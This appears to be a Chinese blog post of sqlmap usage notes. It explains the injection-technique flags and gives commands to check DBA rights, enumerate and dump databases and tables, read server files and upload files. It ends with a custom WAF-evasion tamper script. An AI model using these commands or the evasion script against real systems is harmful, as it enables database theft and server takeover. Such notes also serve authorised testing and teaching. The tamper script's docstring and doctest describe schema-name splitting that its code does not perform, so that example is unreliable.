推荐文章:
https://www.cnblogs.com/linwenbin/p/10564036.html
参数:–technique
此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行检测。 此参数后跟表示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
可以用“–technique ES”来指定使用两种检测技术。“–technique BEUSTQ”与默认情况等效。
想要访问文件系统或是Windows的注册表就一定要添加“S”进行多语句查询注入测试。
-p指定参数
–dump
–batch
sqlmap工具的基本使用:
基本语法(-v是扫描等级):
python sqlmap.py -u "url" -v [1-5]
判断是否高权限用户:
–privileges可以返回数据库权限等级
python sqlmap.py -u "url" -v [1-5] --privileges
–is-dba 也可以实现同样功能(返回true or false)
python sqlmap.py -u "url" -v [1-5] --is-dba
是高权限用户(root)即可查询到下列数据:
1.–dbs 查看共有哪些数据库,返回值(available databases[x]),返回所有的数据库
python sqlmap.py -u "url" -v [1-5] --dbs
2.–current-db 查看当前网站数据库
python sqlmap.py -u "url" -v [1-5] --current-db
3.–tables 可以获取表,-D " "指定数据库名-T " "指定表名
python sqlmap.py -u "url" -v [1-5] --tables -D "public" -T "tables"
4.指定列名:
python sqlmap.py -u "url" -v [1-5] --tables -D "public" -T "tables" --dump -C "user"
5.读取文件:
python sqlmap.py -u "url" --file-read "路径"
6.上传文件到数据库服务器中
–file-dest或者–file-write
python sqlmap.py -u "url" --file-write "路径"
其他的可以通过帮助信息进行查看
python sqlmap.py --help
下载地址:
https://github.com/sqlmapproject/sqlmap
使用方法文档:
https://github.com/sqlmapproject/sqlmap/wiki/Usage
相关博客:
详讲sqlmap
你知道吗?你用的大马可能早就被植入了后门!
如何利用xss拿下一个站的权限?
渗透测试常用靶场集合
tamper的开发:
简单例子:
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users')
Requirement:
* MySQL
Notes:
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
>>> tamper('SELECT id FROM testdb.users')
'SELECT id FROM testdb 9.e.users'
"""
result = payload.replace('%20','%0A').replace('=','regexp').replace("'","").replace('AND','&&').replace('OR','||').replace(' ','%0A').replace(')','',1)
return '||'+'if'+'('+ result +')'+';%00'